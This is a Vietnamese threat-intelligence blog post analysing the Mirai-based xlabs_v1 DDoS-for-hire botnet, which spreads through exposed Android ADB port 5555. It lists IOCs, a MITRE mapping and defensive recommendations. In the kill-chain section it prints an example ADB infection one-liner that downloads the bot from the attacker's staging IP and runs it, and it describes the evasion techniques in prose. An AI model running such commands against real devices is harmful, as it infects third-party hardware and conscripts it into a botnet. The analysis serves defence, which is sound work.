Skip to main content

Command Palette

Search for a command to run...

xlabs_v1 — Botnet DDoS-for-Hire Lộ Diện: Một File Debug, Cả Chiến Dịch Bị Bóc Trần

Published
13 min read
xlabs_v1 — Botnet DDoS-for-Hire Lộ Diện: Một File Debug, Cả Chiến Dịch Bị Bóc Trần

Mục lục

  1. Tóm tắt chiến dịch

  2. Timeline sự kiện

  3. Kill Chain / Attack Flow

  4. Phân tích kỹ thuật

  5. IOC & Artifacts

  6. MITRE ATT&CK Mapping

  7. Nhận định chuyên gia

  8. Khuyến nghị

  9. Tài liệu tham khảo


1. Tóm tắt chiến dịch

Đầu tháng 4/2026, nhóm nghiên cứu Hunt.io phát hiện một staging server tại địa chỉ 176.65.139[.]44 (Offshore LC, AS214472, Hà Lan) để lộ toàn bộ toolkit của botnet xlabs_v1 trên HTTP/80 — không cần xác thực. Bộ file gồm binary ARM32 production (UPX-packed), debug build x86-64 không strip, payload ADB, proxy credentials, và target list.

xlabs_v1 là botnet thương mại phái sinh từ Mirai, được vận hành bởi một operator dùng handle Tadashi, bán dịch vụ DDoS-for-hire nhắm vào game server và Minecraft host theo mô hình phân tier băng thông. Điểm xâm nhập duy nhất: ADB (Android Debug Bridge) TCP/5555 — giao thức debug mặc định trên Android thường bị bật trên Android TV box, set-top box, và nhiều thiết bị IoT giá rẻ phổ biến tại thị trường Đông Nam Á.

Debug build không bị strip là sai lầm OPSEC nghiêm trọng của operator: Hunt.io khôi phục hoàn toàn ChaCha20 string table, C2 domain xlabslover[.]lol, authentication token, và danh tính operator chỉ từ một known-plaintext duy nhất.

Rủi ro với tổ chức tại Việt Nam: Truy vấn trên Hunt.io cho thấy hơn 4 triệu host có TCP/5555 mở trong 180 ngày qua. Android TV box nhập rẻ, router IoT, và camera IP không được quản lý trong môi trường doanh nghiệp là bề mặt tấn công thực tế, không phải lý thuyết.


2. Timeline sự kiện

Thời điểm Sự kiện
Đầu tháng 4/2026 Hunt.io AttackCapture™ phát hiện open directory tại 176.65.139[.]44, flag Mirai activity trên TCP/80
Tháng 4/2026 Static analysis trên hai binary (arm7 UPX-packed và debug.o2 không strip); khôi phục ChaCha20 string table qua known-plaintext
Tháng 4/2026 Xác định operator handle "Tadashi", C2 domain xlabslover[.]lol, authentication token, infrastructure /24 Offshore LC
29/04/2026 Hunt.io công bố báo cáo chi tiết kèm IOC và MITRE mapping
05/2026 The Hacker News tổng hợp và cảnh báo cộng đồng rộng hơn

3. Kill Chain / Attack Flow

Phase 1 — Reconnaissance Scanner quét internet tìm host có TCP/5555 mở. Không cần exploit phức tạp: ADB là giao thức shell hợp lệ, bất kỳ ai kết nối được đều có quyền thực thi lệnh.

Phase 2 — Initial Access (T1190) Chín payload variant trong payloads.txt đẩy bot binary vào /data/local/tmp/ qua adb shell. Multi-architecture build (ARM, MIPS, x86-64, ARC, Android APK) đảm bảo bao phủ gần như toàn bộ IoT hardware.

# Ví dụ infection one-liner từ payloads.txt (dạng tiêu biểu)
adb connect <target>:5555
adb shell "cd /data/local/tmp; wget http://176.65.139[.]44/arm7 -O arm7; chmod +x arm7; ./arm7 <infection_tag>"

Phase 3 — Execution & Persistence (T1059.004, T1037) Bot khởi động theo chuỗi: block SIGINT → capture argv[1] làm infection-vector tag → khởi tạo ChaCha20 string table → giả mạo process name → daemonize. Sau bước này, process tự trở thành invisible với ps aux thông thường.

Phase 4 — Defense Evasion (T1036.005, T1055)

  • argv[0] ghi đè bằng /bin/bash qua prctl call

  • argv[1] (infection tag) bị zero-out sau khi capture

  • setsid + close(0/1/2) tách khỏi terminal

  • Competitive bot killer: quét /proc/, SIGSTOP rồi SIGKILL mọi process không nằm trong whitelist; hard-code port TCP/24936 của rival botnet để evict Phase 5 — C2 Communication (T1568.002, T1571) C2 domain xlabslover[.]lol được resolve qua OpenNIC root nameservers trước, fallback sang system resolver. Cơ chế này giúp C2 vẫn hoạt động ngay cả khi ICANN-level sinkhole. Nếu C2 IP không reach được, bot mở fallback listener TCP/26721 với 5 variant iptables ACCEPT để operator reconnect.

Phase 6 — Impact (T1498) Operator gửi attack command (integer ID) xuống fleet → dispatch table map sang 1 trong 21 flood variant:

Loại Mục tiêu Chi tiết
RakNet flood Minecraft server Giả lập Minecraft handshake protocol
OpenVPN-shaped UDP Bypass DDoS protection UDP packet giả OpenVPN traffic
HTTP L7 template Anti-DDoS L7 bypass HTTP request template tránh WAF
TCP/UDP generic Mục tiêu chung Nhiều variant băng thông cao
Figure 3 — Attack registry khởi tạo 21 variant

Figure 3. Attack-registry initializer đăng ký 21 attack variant vào global registry.


4. Phân tích kỹ thuật

4.1 Infection Vector — ADB TCP/5555

ADB là giao thức debug hợp lệ của Android, nhưng nhiều nhà sản xuất hardware giá rẻ để cổng này mở theo mặc định. Không cần khai thác CVE, không cần credential — kết nối TCP thẳng vào là có shell.

payloads.txt chứa 9 one-liner, trong đó có cả netcat-based và wget-based, nhắm vào Android TV box, set-top box, smart TV, và IoT-grade ARM hardware.

Figure 2 — Open directory trên staging server

Figure 2. Open directory trên 176.65.139[.]44 — không cần authentication.

4.2 Binary Architecture

File Architecture Notes
arm7 ARMv7, 68 KB UPX-packed, stripped — production build
debug.o2 x86-64, 88 KB Không strip, có function names, source refs, printf calls

Debug build là sai lầm định mệnh của operator. Với symbol đầy đủ, Hunt.io reconstruct hoàn toàn logic production binary mà không cần giải mã thêm.

4.3 ChaCha20 String Table — Weak Key, Full Nonce Reuse

Các chuỗi nhạy cảm (C2 domain, auth token, operator handle) được mã hoá trong .rodata bằng ChaCha20 20-round chuẩn. Tuy nhiên:

  • Key 32 byte với mỗi byte ≤ 0x1F — chỉ 5 effective bits/byte, không phải key ngẫu nhiên

  • Nonce và counter cố định (counter = 1) được tái sử dụng cho toàn bộ 16 lần giải mã

  • Vì mỗi blob ngắn hơn 64 byte (một ChaCha20 block), tất cả các call đều dùng cùng một prefix keystream Kết quả: một known-plaintext duy nhất đủ để khôi phục keystream và decrypt toàn bộ string table. C2 domain, operator handle "Tadashi", và authentication token đều bị lộ.

4.4 Bandwidth Profiling — Price Tier Automation

Đây là tính năng tiết lộ rõ nhất bản chất thương mại của xlabs_v1:

Routine mở 8.192 parallel TCP socket → connect tới Speedtest server gần nhất
(tính khoảng cách Haversine) → saturate 10 giây → report Mbps về C2 panel
Figure 6 — Bandwidth profiling routine

Figure 6. Routine đo băng thông mở 8.192 parallel socket và tính khoảng cách Haversine tới Speedtest server.

Panel dùng số Mbps này để gán tier giá: một Android TV box kết nối fiber 500 Mbps được bán ở giá khác với thiết bị DSL 20 Mbps. Đây là product-management code, không phải evasion code.

4.5 Process Masquerade & Evasion

Figure 10 — Process masquerade sequence

Figure 10. Chuỗi masquerade và daemonization trong main routine của bot.

Chuỗi evasion sau khi boot:

  1. argv[0]/bin/bash qua prctl(PR_SET_NAME)

  2. argv[1] (infection tag) zero-out trong memory, nhưng vẫn gửi về panel trong registration handshake

  3. setsid() tách khỏi controlling TTY

  4. close(0/1/2) loại bỏ stdin/stdout/stderr

  5. SIGCHLD = SIG_IGN để worker process tự reap /bin/bash là lựa chọn khôn ngoan: mọi hệ thống Linux đều có bash process chạy hợp lệ, admin chạy ps aux sẽ không chú ý thêm một "bash" nữa.

4.6 C2 Resilience — OpenNIC + Fallback Listener

Figure 9 — OpenNIC resolver

Figure 9. Fallback resolver chọn từ bảng 10 IP OpenNIC root nameserver hardcoded.

Hai lớp redundancy:

  • OpenNIC DNS resolve .lol TLD ngay cả khi ICANN sinkhole — domain xlabslover[.]lol vẫn resolve

  • Fallback TCP/26721: nếu C2 IP chết, bot mở inbound listener với 5 variant iptables ACCEPT, biến mỗi bot còn sống thành SOCKS endpoint để operator reconnect từ bất kỳ IP nào

4.7 Infrastructure — Single /24 Bulletproof

Toàn bộ hoạt động được consolidate trong một /24 duy nhất của Offshore LC (AS214472, Hà Lan):

  • C2 server

  • Distribution / staging (176.65.139[.]44)

  • Bot binary phục vụ trên TCP/25565 (cổng Minecraft mặc định — đây là signal rõ ràng về target market)

  • Monero cryptojacking infrastructure co-locate trên cùng /24


5. IOC & Artifacts

Network Indicators

# C2 Domain
xlabslover[.]lol
 
# Staging / Distribution Server
176.65.139[.]44
 
# Ports của interest
TCP/5555   - ADB infection vector
TCP/25565  - Distribution server (Minecraft default port)
TCP/26721  - Bot fallback listener
TCP/24936  - Rival botnet port (bị bot kill)

File Artifacts

# Staging server file listing
arm7          - ARMv7 ELF, UPX-packed, stripped (68 KB) — production bot
debug.o2      - x86-64 ELF, không strip (88 KB) — development build
payloads.txt  - 9 ADB infection one-liner (868 bytes)
proxies.txt   - SOCKS5 credentials (60 bytes)
targets.txt   - Target placeholder "00.00.0.0" (9 bytes)
arm7.unpacked - Unpacked production binary (analysis artifact)

Infrastructure

# ASN
AS214472 - Offshore LC (Netherlands)
 
# C2 Resolution
OpenNIC root nameservers (10 hardcoded IPs trong binary)
Fallback: system resolver
 
# Operator Handle
Tadashi

6. MITRE ATT&CK Mapping

Tactic Technique ID Ghi chú
Reconnaissance Active Scanning: Scanning IP Blocks T1595.001 Scan ADB TCP/5555 toàn internet
Initial Access Exploit Public-Facing Application T1190 ADB không cần authentication
Execution Command and Scripting Interpreter: Unix Shell T1059.004 adb shell drop payload
Persistence Boot or Logon Initialization Scripts T1037 Daemonize, auto-reap workers
Defense Evasion Masquerading: Match Legitimate Name T1036.005 Process giả /bin/bash
Defense Evasion Indicator Removal: Clear Command History T1070 argv[1] zero-out
Defense Evasion Impair Defenses: Disable or Modify Tools T1562 Kill competitor bot processes
C2 Non-Standard Port T1571 TCP/26721 fallback listener
C2 Dynamic Resolution: Fast Flux DNS T1568.002 OpenNIC alternate resolution
Impact Network Denial of Service: Direct Network Flood T1498.001 21 flood variant
Impact Endpoint Denial of Service T1499 L7 HTTP flood bypass

7. Nhận định chuyên gia

xlabs_v1 không phải script kiddie project. Nhìn vào bandwidth profiling với 8.192 parallel socket, competitor-kill subsystem hard-code rival port, OpenNIC fallback resolver, và mô hình tiered pricing — đây là tư duy product manager bán SaaS, không phải hacker viết malware để dùng cá nhân.

Điểm đáng chú ý nhất về mặt OPSEC là mâu thuẫn giữa sự tinh vi của binary và sự bất cẩn của operator. ChaCha20 string encryption, process masquerade, competitive eviction — tất cả đều cho thấy hiểu biết kỹ thuật không tầm thường. Nhưng cùng một operator đó lại để debug build không strip trên HTTP/80 không có auth. Đây là lỗi đặc trưng của tier "mid-level commercial operator": đủ giỏi để build product, chưa đủ kỷ luật để maintain OPSEC nhất quán.

Góc nhìn từ môi trường Việt Nam: Bề mặt tấn công ADB TCP/5555 đặc biệt đáng lo ngại tại thị trường VN vì ba lý do. Thứ nhất, Android TV box và set-top box giá rẻ — phần lớn nhập từ các nhà sản xuất không có quy trình security hardening — cực kỳ phổ biến cả trong môi trường gia đình lẫn văn phòng nhỏ. Thứ hai, các thiết bị này thường nằm trên cùng network segment với workstation doanh nghiệp, nhưng không được quản lý bởi IT/SOC. Thứ ba, tỷ lệ cập nhật firmware của thiết bị IoT tại VN gần như bằng không — ADB có thể đã mở từ khi xuất xưởng và không ai biết.

Về mặt threat landscape khu vực: DDoS-for-hire nhắm vào game server tại Đông Nam Á là market có nhu cầu thực sự, đặc biệt trong các tranh chấp giữa guild, clan, hoặc publisher game mobile. xlabs_v1 không phải chiến dịch APT nhắm vào critical infrastructure, nhưng botnet loại này có thể bị re-tasked nhắm vào target phi game bất kỳ lúc nào nếu operator quyết định mở rộng thị trường hoặc nhận custom order.

Việc toàn bộ infrastructure co-locate trong một /24 bulletproof duy nhất là điểm yếu về resilience nhưng là lợi thế về cost cho operator. Takedown một /24 bulletproof hosting có thể làm sập cả operation nếu có sự phối hợp giữa abuse team và ISP upstream. Tuy nhiên, Offshore LC là dạng hosting được thiết kế để chống lại abuse report — không phải path dễ theo đuổi.


8. Khuyến nghị

Immediate (0–24h)

Kiểm tra và block ADB TCP/5555 trên firewall perimeter và internal segment — không có lý do business hợp lệ nào để ADB exposed ra internet hoặc sang network zone khác. Thêm C2 domain và staging IP vào block list:

# Block list entries
xlabslover[.]lol        [C2 domain - DNS block]
176.65.139[.]0/24       [Offshore LC /24 - network block]
TCP/26721               [Bot fallback port - outbound block]

Short-term (1–7 ngày)

Hunt IOC trên SIEM/firewall logs — đặc biệt tìm outbound connection tới xlabslover[.]lol, kết nối ra TCP/26721, và traffic bất thường từ các thiết bị không phải workstation/server. Inventory thiết bị IoT, Android TV box, set-top box trên toàn network; bất kỳ thiết bị nào không cần quản lý từ xa qua ADB thì đặt câu hỏi tại sao cổng đó đang mở.

Long-term

Thiết lập network segmentation tách biệt IoT device khỏi corporate network — không phải best practice xa xỉ mà là baseline cần thiết. Với tổ chức sử dụng Android TV box cho meeting room hoặc digital signage: enforce disable ADB trong firmware policy hoặc firewall rule tại switch port level. Theo dõi thêm các IoT botnet khai thác ADB vì đây là vector đang được nhiều nhóm tận dụng song song.


9. Tài liệu tham khảo

  1. Hunt.io — xlabs_v1 DDoS-for-Hire Operation Exposed: How an Operator's Debug Build Unraveled a Commercial Game-Server Botnet (29/04/2026): https://hunt.io/blog/xlabs-v1-ddos-for-hire-operation-exposed

  2. The Hacker News — Mirai-Based xlabs_v1 Botnet Exploits ADB to Hijack IoT Devices for DDoS Attacks (05/2026): https://thehackernews.com/2026/05/mirai-based-xlabsv1-botnet-exploits-adb.html

  3. Hunt.io HuntSQL Query — TCP/5555 exposed hosts (180 ngày): https://app.hunt.io/ip/176.65.139.44

  4. MITRE ATT&CK — Network Denial of Service (T1498): https://attack.mitre.org/techniques/T1498/

More from this blog

F

FPT IS Security

777 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.